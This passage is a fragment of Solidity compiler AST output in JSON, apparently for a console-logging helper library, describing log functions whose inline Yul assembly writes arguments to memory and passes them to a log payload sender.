196"}],"id":38069,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"131632:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":38072,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"131632:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":38073,"nodeType":"ExpressionStatement","src":"131632:27:22"},{"AST":{"nativeSrc":"131678:214:22","nodeType":"YulBlock","src":"131678:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"131699:4:22","nodeType":"YulLiteral","src":"131699:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"131705:2:22","nodeType":"YulIdentifier","src":"131705:2:22"}],"functionName":{"name":"mstore","nativeSrc":"131692:6:22","nodeType":"YulIdentifier","src":"131692:6:22"},"nativeSrc":"131692:16:22","nodeType":"YulFunctionCall","src":"131692:16:22"},"nativeSrc":"131692:16:22","nodeType":"YulExpressionStatement","src":"131692:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"131728:4:22","nodeType":"YulLiteral","src":"131728:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"131734:2:22","nodeType":"YulIdentifier","src":"131734:2:22"}],"functionName":{"name":"mstore","nativeSrc":"131721:6:22","nodeType":"YulIdentifier","src":"131721:6:22"},"nativeSrc":"131721:16:22","nodeType":"YulFunctionCall","src":"131721:16:22"},"nativeSrc":"131721:16:22","nodeType":"YulExpressionStatement","src":"131721:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"131757:4:22","nodeType":"YulLiteral","src":"131757:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"131763:2:22","nodeType":"YulIdentifier","src":"131763:2:22"}],"functionName":{"name":"mstore","nativeSrc":"131750:6:22","nodeType":"YulIdentifier","src":"131750:6:22"},"nativeSrc":"131750:16:22","nodeType":"YulFunctionCall","src":"131750:16:22"},"nativeSrc":"131750:16:22","nodeType":"YulExpressionStatement","src":"131750:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"131786:4:22","nodeType":"YulLiteral","src":"131786:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"131792:2:22","nodeType":"YulIdentifier","src":"131792:2:22"}],"functionName":{"name":"mstore","nativeSrc":"131779:6:22","nodeType":"YulIdentifier","src":"131779:6:22"},"nativeSrc":"131779:16:22","nodeType":"YulFunctionCall","src":"131779:16:22"},"nativeSrc":"131779:16:22","nodeType":"YulExpressionStatement","src":"131779:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"131815:4:22","nodeType":"YulLiteral","src":"131815:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"131821:2:22","nodeType":"YulIdentifier","src":"131821:2:22"}],"functionName":{"name":"mstore","nativeSrc":"131808:6:22","nodeType":"YulIdentifier","src":"131808:6:22"},"nativeSrc":"131808:16:22","nodeType":"YulFunctionCall","src":"131808:16:22"},"nativeSrc":"131808:16:22","nodeType":"YulExpressionStatement","src":"131808:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"131844:4:22","nodeType":"YulLiteral","src":"131844:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"131850:2:22","nodeType":"YulIdentifier","src":"131850:2:22"}],"functionName":{"name":"mstore","nativeSrc":"131837:6:22","nodeType":"YulIdentifier","src":"131837:6:22"},"nativeSrc":"131837:16:22","nodeType":"YulFunctionCall","src":"131837:16:22"},"nativeSrc":"131837:16:22","nodeType":"YulExpressionStatement","src":"131837:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"131873:4:22","nodeType":"YulLiteral","src":"131873:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"131879:2:22","nodeType":"YulIdentifier","src":"131879:2:22"}],"functionName":{"name":"mstore","nativeSrc":"131866:6:22","nodeType":"YulIdentifier","src":"131866:6:22"},"nativeSrc":"131866:16:22","nodeType":"YulFunctionCall","src":"131866:16:22"},"nativeSrc":"131866:16:22","nodeType":"YulExpressionStatement","src":"131866:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38048,"isOffset":false,"isSlot":false,"src":"131705:2:22","valueSize":1},{"declaration":38051,"isOffset":false,"isSlot":false,"src":"131734:2:22","valueSize":1},{"declaration":38054,"isOffset":false,"isSlot":false,"src":"131763:2:22","valueSize":1},{"declaration":38057,"isOffset":false,"isSlot":false,"src":"131792:2:22","valueSize":1},{"declaration":38060,"isOffset":false,"isSlot":false,"src":"131821:2:22","valueSize":1},{"declaration":38063,"isOffset":false,"isSlot":false,"src":"131850:2:22","valueSize":1},{"declaration":38066,"isOffset":false,"isSlot":false,"src":"131879:2:22","valueSize":1}],"id":38074,"nodeType":"InlineAssembly","src":"131669:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"130567:3:22","parameters":{"id":38045,"nodeType":"ParameterList","parameters":[{"constant":false,"id":38038,"mutability":"mutable","name":"p0","nameLocation":"130579:2:22","nodeType":"VariableDeclaration","scope":38076,"src":"130571:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":38037,"name":"address","nodeType":"ElementaryTypeName","src":"130571:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":38040,"mutability":"mutable","name":"p1","nameLocation":"130591:2:22","nodeType":"VariableDeclaration","scope":38076,"src":"130583:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":38039,"name":"uint256","nodeType":"ElementaryTypeName","src":"130583:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":38042,"mutability":"mutable","name":"p2","nameLocation":"130603:2:22","nodeType":"VariableDeclaration","scope":38076,"src":"130595:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38041,"name":"bytes32","nodeType":"ElementaryTypeName","src":"130595:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":38044,"mutability":"mutable","name":"p3","nameLocation":"130615:2:22","nodeType":"VariableDeclaration","scope":38076,"src":"130607:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":38043,"name":"uint256","nodeType":"ElementaryTypeName","src":"130607:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"130570:48:22"},"returnParameters":{"id":38046,"nodeType":"ParameterList","parameters":[],"src":"130633:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":38122,"nodeType":"FunctionDefinition","src":"131904:1536:22","nodes":[],"body":{"id":38121,"nodeType":"Block","src":"131979:1461:22","nodes":[],"statements":[{"assignments":[38088],"declarations":[{"constant":false,"id":38088,"mutability":"mutable","name":"m0","nameLocation":"131997:2:22","nodeType":"VariableDeclaration","scope":38121,"src":"131989:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38087,"name":"bytes32","nodeType":"ElementaryTypeName","src":"131989:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38089,"nodeType":"VariableDeclarationStatement","src":"131989:10:22"},{"assignments":[38091],"declarations":[{"constant":false,"id":38091,"mutability":"mutable","name":"m1","nameLocation":"132017:2:22","nodeType":"VariableDeclaration","scope":38121,"src":"132009:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38090,"name":"bytes32","nodeType":"ElementaryTypeName","src":"132009:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38092,"nodeType":"VariableDeclarationStatement","src":"132009:10:22"},{"assignments":[38094],"declarations":[{"constant":false,"id":38094,"mutability":"mutable","name":"m2","nameLocation":"132037:2:22","nodeType":"VariableDeclaration","scope":38121,"src":"132029:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38093,"name":"bytes32","nodeType":"ElementaryTypeName","src":"132029:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38095,"nodeType":"VariableDeclarationStatement","src":"132029:10:22"},{"assignments":[38097],"declarations":[{"constant":false,"id":38097,"mutability":"mutable","name":"m3","nameLocation":"132057:2:22","nodeType":"VariableDeclaration","scope":38121,"src":"132049:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38096,"name":"bytes32","nodeType":"ElementaryTypeName","src":"132049:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38098,"nodeType":"VariableDeclarationStatement","src":"132049:10:22"},{"assignments":[38100],"declarations":[{"constant":false,"id":38100,"mutability":"mutable","name":"m4","nameLocation":"132077:2:22","nodeType":"VariableDeclaration","scope":38121,"src":"132069:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38099,"name":"bytes32","nodeType":"ElementaryTypeName","src":"132069:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38101,"nodeType":"VariableDeclarationStatement","src":"132069:10:22"},{"assignments":[38103],"declarations":[{"constant":false,"id":38103,"mutability":"mutable","name":"m5","nameLocation":"132097:2:22","nodeType":"VariableDeclaration","scope":38121,"src":"132089:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38102,"name":"bytes32","nodeType":"ElementaryTypeName","src":"132089:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38104,"nodeType":"VariableDeclarationStatement","src":"132089:10:22"},{"assignments":[38106],"declarations":[{"constant":false,"id":38106,"mutability":"mutable","name":"m6","nameLocation":"132117:2:22","nodeType":"VariableDeclaration","scope":38121,"src":"132109:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38105,"name":"bytes32","nodeType":"ElementaryTypeName","src":"132109:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38107,"nodeType":"VariableDeclarationStatement","src":"132109:10:22"},{"assignments":[38109],"declarations":[{"constant":false,"id":38109,"mutability":"mutable","name":"m7","nameLocation":"132137:2:22","nodeType":"VariableDeclaration","scope":38121,"src":"132129:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38108,"name":"bytes32","nodeType":"ElementaryTypeName","src":"132129:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38110,"nodeType":"VariableDeclarationStatement","src":"132129:10:22"},{"assignments":[38112],"declarations":[{"constant":false,"id":38112,"mutability":"mutable","name":"m8","nameLocation":"132157:2:22","nodeType":"VariableDeclaration","scope":38121,"src":"132149:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38111,"name":"bytes32","nodeType":"ElementaryTypeName","src":"132149:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38113,"nodeType":"VariableDeclarationStatement","src":"132149:10:22"},{"AST":{"nativeSrc":"132178:927:22","nodeType":"YulBlock","src":"132178:927:22","statements":[{"body":{"nativeSrc":"132221:313:22","nodeType":"YulBlock","src":"132221:313:22","statements":[{"nativeSrc":"132239:15:22","nodeType":"YulVariableDeclaration","src":"132239:15:22","value":{"kind":"number","nativeSrc":"132253:1:22","nodeType":"YulLiteral","src":"132253:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"132243:6:22","nodeType":"YulTypedName","src":"132243:6:22","type":""}]},{"body":{"nativeSrc":"132324:40:22","nodeType":"YulBlock","src":"132324:40:22","statements":[{"body":{"nativeSrc":"132353:9:22","nodeType":"YulBlock","src":"132353:9:22","statements":[{"nativeSrc":"132355:5:22","nodeType":"YulBreak","src":"132355:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"132341:6:22","nodeType":"YulIdentifier","src":"132341:6:22"},{"name":"w","nativeSrc":"132349:1:22","nodeType":"YulIdentifier","src":"132349:1:22"}],"functionName":{"name":"byte","nativeSrc":"132336:4:22","nodeType":"YulIdentifier","src":"132336:4:22"},"nativeSrc":"132336:15:22","nodeType":"YulFunctionCall","src":"132336:15:22"}],"functionName":{"name":"iszero","nativeSrc":"132329:6:22","nodeType":"YulIdentifier","src":"132329:6:22"},"nativeSrc":"132329:23:22","nodeType":"YulFunctionCall","src":"132329:23:22"},"nativeSrc":"132326:36:22","nodeType":"YulIf","src":"132326:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"132281:6:22","nodeType":"YulIdentifier","src":"132281:6:22"},{"kind":"number","nativeSrc":"132289:4:22","nodeType":"YulLiteral","src":"132289:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"132278:2:22","nodeType":"YulIdentifier","src":"132278:2:22"},"nativeSrc":"132278:16:22","nodeType":"YulFunctionCall","src":"132278:16:22"},"nativeSrc":"132271:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"132295:28:22","nodeType":"YulBlock","src":"132295:28:22","statements":[{"nativeSrc":"132297:24:22","nodeType":"YulAssignment","src":"132297:24:22","value":{"arguments":[{"name":"length","nativeSrc":"132311:6:22","nodeType":"YulIdentifier","src":"132311:6:22"},{"kind":"number","nativeSrc":"132319:1:22","nodeType":"YulLiteral","src":"132319:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"132307:3:22","nodeType":"YulIdentifier","src":"132307:3:22"},"nativeSrc":"132307:14:22","nodeType":"YulFunctionCall","src":"132307:14:22"},"variableNames":[{"name":"length","nativeSrc":"132297:6:22","nodeType":"YulIdentifier","src":"132297:6:22"}]}]},"pre":{"nativeSrc":"132275:2:22","nodeType":"YulBlock","src":"132275:2:22","statements":[]},"src":"132271:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"132388:3:22","nodeType":"YulIdentifier","src":"132388:3:22"},{"name":"length","nativeSrc":"132393:6:22","nodeType":"YulIdentifier","src":"132393:6:22"}],"functionName":{"name":"mstore","nativeSrc":"132381:6:22","nodeType":"YulIdentifier","src":"132381:6:22"},"nativeSrc":"132381:19:22","nodeType":"YulFunctionCall","src":"132381:19:22"},"nativeSrc":"132381:19:22","nodeType":"YulExpressionStatement","src":"132381:19:22"},{"nativeSrc":"132417:37:22","nodeType":"YulVariableDeclaration","src":"132417:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"132434:3:22","nodeType":"YulLiteral","src":"132434:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"132443:1:22","nodeType":"YulLiteral","src":"132443:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"132446:6:22","nodeType":"YulIdentifier","src":"132446:6:22"}],"functionName":{"name":"shl","nativeSrc":"132439:3:22","nodeType":"YulIdentifier","src":"132439:3:22"},"nativeSrc":"132439:14:22","nodeType":"YulFunctionCall","src":"132439:14:22"}],"functionName":{"name":"sub","nativeSrc":"132430:3:22","nodeType":"YulIdentifier","src":"132430:3:22"},"nativeSrc":"132430:24:22","nodeType":"YulFunctionCall","src":"132430:24:22"},"variables":[{"name":"shift","nativeSrc":"132421:5:22","nodeType":"YulTypedName","src":"132421:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"132482:3:22","nodeType":"YulIdentifier","src":"132482:3:22"},{"kind":"number","nativeSrc":"132487:4:22","nodeType":"YulLiteral","src":"132487:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"132478:3:22","nodeType":"YulIdentifier","src":"132478:3:22"},"nativeSrc":"132478:14:22","nodeType":"YulFunctionCall","src":"132478:14:22"},{"arguments":[{"name":"shift","nativeSrc":"132498:5:22","nodeType":"YulIdentifier","src":"132498:5:22"},{"arguments":[{"name":"shift","nativeSrc":"132509:5:22","nodeType":"YulIdentifier","src":"132509:5:22"},{"name":"w","nativeSrc":"132516:1:22","nodeType":"YulIdentifier","src":"132516:1:22"}],"functionName":{"name":"shr","nativeSrc":"132505:3:22","nodeType":"YulIdentifier","src":"132505:3:22"},"nativeSrc":"132505:13:22","nodeType":"YulFunctionCall","src":"132505:13:22"}],"functionName":{"name":"shl","nativeSrc":"132494:3:22","nodeType":"YulIdentifier","src":"132494:3:22"},"nativeSrc":"132494:25:22","nodeType":"YulFunctionCall","src":"132494:25:22"}],"functionName":{"name":"mstore","nativeSrc":"132471:6:22","nodeType":"YulIdentifier","src":"132471:6:22"},"nativeSrc":"132471:49:22","nodeType":"YulFunctionCall","src":"132471:49:22"},"nativeSrc":"132471:49:22","nodeType":"YulExpressionStatement","src":"132471:49:22"}]},"name":"writeString","nativeSrc":"132192:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"132213:3:22","nodeType":"YulTypedName","src":"132213:3:22","type":""},{"name":"w","nativeSrc":"132218:1:22","nodeType":"YulTypedName","src":"132218:1:22","type":""}],"src":"132192:342:22"},{"nativeSrc":"132547:17:22","nodeType":"YulAssignment","src":"132547:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"132559:4:22","nodeType":"YulLiteral","src":"132559:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"132553:5:22","nodeType":"YulIdentifier","src":"132553:5:22"},"nativeSrc":"132553:11:22","nodeType":"YulFunctionCall","src":"132553:11:22"},"variableNames":[{"name":"m0","nativeSrc":"132547:2:22","nodeType":"YulIdentifier","src":"132547:2:22"}]},{"nativeSrc":"132577:17:22","nodeType":"YulAssignment","src":"132577:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"132589:4:22","nodeType":"YulLiteral","src":"132589:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"132583:5:22","nodeType":"YulIdentifier","src":"132583:5:22"},"nativeSrc":"132583:11:22","nodeType":"YulFunctionCall","src":"132583:11:22"},"variableNames":[{"name":"m1","nativeSrc":"132577:2:22","nodeType":"YulIdentifier","src":"132577:2:22"}]},{"nativeSrc":"132607:17:22","nodeType":"YulAssignment","src":"132607:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"132619:4:22","nodeType":"YulLiteral","src":"132619:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"132613:5:22","nodeType":"YulIdentifier","src":"132613:5:22"},"nativeSrc":"132613:11:22","nodeType":"YulFunctionCall","src":"132613:11:22"},"variableNames":[{"name":"m2","nativeSrc":"132607:2:22","nodeType":"YulIdentifier","src":"132607:2:22"}]},{"nativeSrc":"132637:17:22","nodeType":"YulAssignment","src":"132637:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"132649:4:22","nodeType":"YulLiteral","src":"132649:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"132643:5:22","nodeType":"YulIdentifier","src":"132643:5:22"},"nativeSrc":"132643:11:22","nodeType":"YulFunctionCall","src":"132643:11:22"},"variableNames":[{"name":"m3","nativeSrc":"132637:2:22","nodeType":"YulIdentifier","src":"132637:2:22"}]},{"nativeSrc":"132667:17:22","nodeType":"YulAssignment","src":"132667:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"132679:4:22","nodeType":"YulLiteral","src":"132679:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"132673:5:22","nodeType":"YulIdentifier","src":"132673:5:22"},"nativeSrc":"132673:11:22","nodeType":"YulFunctionCall","src":"132673:11:22"},"variableNames":[{"name":"m4","nativeSrc":"132667:2:22","nodeType":"YulIdentifier","src":"132667:2:22"}]},{"nativeSrc":"132697:17:22","nodeType":"YulAssignment","src":"132697:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"132709:4:22","nodeType":"YulLiteral","src":"132709:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"132703:5:22","nodeType":"YulIdentifier","src":"132703:5:22"},"nativeSrc":"132703:11:22","nodeType":"YulFunctionCall","src":"132703:11:22"},"variableNames":[{"name":"m5","nativeSrc":"132697:2:22","nodeType":"YulIdentifier","src":"132697:2:22"}]},{"nativeSrc":"132727:17:22","nodeType":"YulAssignment","src":"132727:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"132739:4:22","nodeType":"YulLiteral","src":"132739:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"132733:5:22","nodeType":"YulIdentifier","src":"132733:5:22"},"nativeSrc":"132733:11:22","nodeType":"YulFunctionCall","src":"132733:11:22"},"variableNames":[{"name":"m6","nativeSrc":"132727:2:22","nodeType":"YulIdentifier","src":"132727:2:22"}]},{"nativeSrc":"132757:17:22","nodeType":"YulAssignment","src":"132757:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"132769:4:22","nodeType":"YulLiteral","src":"132769:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"132763:5:22","nodeType":"YulIdentifier","src":"132763:5:22"},"nativeSrc":"132763:11:22","nodeType":"YulFunctionCall","src":"132763:11:22"},"variableNames":[{"name":"m7","nativeSrc":"132757:2:22","nodeType":"YulIdentifier","src":"132757:2:22"}]},{"nativeSrc":"132787:18:22","nodeType":"YulAssignment","src":"132787:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"132799:5:22","nodeType":"YulLiteral","src":"132799:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"132793:5:22","nodeType":"YulIdentifier","src":"132793:5:22"},"nativeSrc":"132793:12:22","nodeType":"YulFunctionCall","src":"132793:12:22"},"variableNames":[{"name":"m8","nativeSrc":"132787:2:22","nodeType":"YulIdentifier","src":"132787:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"132890:4:22","nodeType":"YulLiteral","src":"132890:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"132896:10:22","nodeType":"YulLiteral","src":"132896:10:22","type":"","value":"0x88a8c406"}],"functionName":{"name":"mstore","nativeSrc":"132883:6:22","nodeType":"YulIdentifier","src":"132883:6:22"},"nativeSrc":"132883:24:22","nodeType":"YulFunctionCall","src":"132883:24:22"},"nativeSrc":"132883:24:22","nodeType":"YulExpressionStatement","src":"132883:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"132927:4:22","nodeType":"YulLiteral","src":"132927:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"132933:2:22","nodeType":"YulIdentifier","src":"132933:2:22"}],"functionName":{"name":"mstore","nativeSrc":"132920:6:22","nodeType":"YulIdentifier","src":"132920:6:22"},"nativeSrc":"132920:16:22","nodeType":"YulFunctionCall","src":"132920:16:22"},"nativeSrc":"132920:16:22","nodeType":"YulExpressionStatement","src":"132920:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"132956:4:22","nodeType":"YulLiteral","src":"132956:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"132962:2:22","nodeType":"YulIdentifier","src":"132962:2:22"}],"functionName":{"name":"mstore","nativeSrc":"132949:6:22","nodeType":"YulIdentifier","src":"132949:6:22"},"nativeSrc":"132949:16:22","nodeType":"YulFunctionCall","src":"132949:16:22"},"nativeSrc":"132949:16:22","nodeType":"YulExpressionStatement","src":"132949:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"132985:4:22","nodeType":"YulLiteral","src":"132985:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"132991:4:22","nodeType":"YulLiteral","src":"132991:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"132978:6:22","nodeType":"YulIdentifier","src":"132978:6:22"},"nativeSrc":"132978:18:22","nodeType":"YulFunctionCall","src":"132978:18:22"},"nativeSrc":"132978:18:22","nodeType":"YulExpressionStatement","src":"132978:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"133016:4:22","nodeType":"YulLiteral","src":"133016:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"133022:4:22","nodeType":"YulLiteral","src":"133022:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"133009:6:22","nodeType":"YulIdentifier","src":"133009:6:22"},"nativeSrc":"133009:18:22","nodeType":"YulFunctionCall","src":"133009:18:22"},"nativeSrc":"133009:18:22","nodeType":"YulExpressionStatement","src":"133009:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"133052:4:22","nodeType":"YulLiteral","src":"133052:4:22","type":"","value":"0xa0"},{"name":"p2","nativeSrc":"133058:2:22","nodeType":"YulIdentifier","src":"133058:2:22"}],"functionName":{"name":"writeString","nativeSrc":"133040:11:22","nodeType":"YulIdentifier","src":"133040:11:22"},"nativeSrc":"133040:21:22","nodeType":"YulFunctionCall","src":"133040:21:22"},"nativeSrc":"133040:21:22","nodeType":"YulExpressionStatement","src":"133040:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"133086:4:22","nodeType":"YulLiteral","src":"133086:4:22","type":"","value":"0xe0"},{"name":"p3","nativeSrc":"133092:2:22","nodeType":"YulIdentifier","src":"133092:2:22"}],"functionName":{"name":"writeString","nativeSrc":"133074:11:22","nodeType":"YulIdentifier","src":"133074:11:22"},"nativeSrc":"133074:21:22","nodeType":"YulFunctionCall","src":"133074:21:22"},"nativeSrc":"133074:21:22","nodeType":"YulExpressionStatement","src":"133074:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38088,"isOffset":false,"isSlot":false,"src":"132547:2:22","valueSize":1},{"declaration":38091,"isOffset":false,"isSlot":false,"src":"132577:2:22","valueSize":1},{"declaration":38094,"isOffset":false,"isSlot":false,"src":"132607:2:22","valueSize":1},{"declaration":38097,"isOffset":false,"isSlot":false,"src":"132637:2:22","valueSize":1},{"declaration":38100,"isOffset":false,"isSlot":false,"src":"132667:2:22","valueSize":1},{"declaration":38103,"isOffset":false,"isSlot":false,"src":"132697:2:22","valueSize":1},{"declaration":38106,"isOffset":false,"isSlot":false,"src":"132727:2:22","valueSize":1},{"declaration":38109,"isOffset":false,"isSlot":false,"src":"132757:2:22","valueSize":1},{"declaration":38112,"isOffset":false,"isSlot":false,"src":"132787:2:22","valueSize":1},{"declaration":38078,"isOffset":false,"isSlot":false,"src":"132933:2:22","valueSize":1},{"declaration":38080,"isOffset":false,"isSlot":false,"src":"132962:2:22","valueSize":1},{"declaration":38082,"isOffset":false,"isSlot":false,"src":"133058:2:22","valueSize":1},{"declaration":38084,"isOffset":false,"isSlot":false,"src":"133092:2:22","valueSize":1}],"id":38114,"nodeType":"InlineAssembly","src":"132169:936:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":38116,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"133130:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":38117,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"133136:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":38115,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"133114:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":38118,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"133114:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":38119,"nodeType":"ExpressionStatement","src":"133114:28:22"},{"AST":{"nativeSrc":"133161:273:22","nodeType":"YulBlock","src":"133161:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"133182:4:22","nodeType":"YulLiteral","src":"133182:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"133188:2:22","nodeType":"YulIdentifier","src":"133188:2:22"}],"functionName":{"name":"mstore","nativeSrc":"133175:6:22","nodeType":"YulIdentifier","src":"133175:6:22"},"nativeSrc":"133175:16:22","nodeType":"YulFunctionCall","src":"133175:16:22"},"nativeSrc":"133175:16:22","nodeType":"YulExpressionStatement","src":"133175:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"133211:4:22","nodeType":"YulLiteral","src":"133211:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"133217:2:22","nodeType":"YulIdentifier","src":"133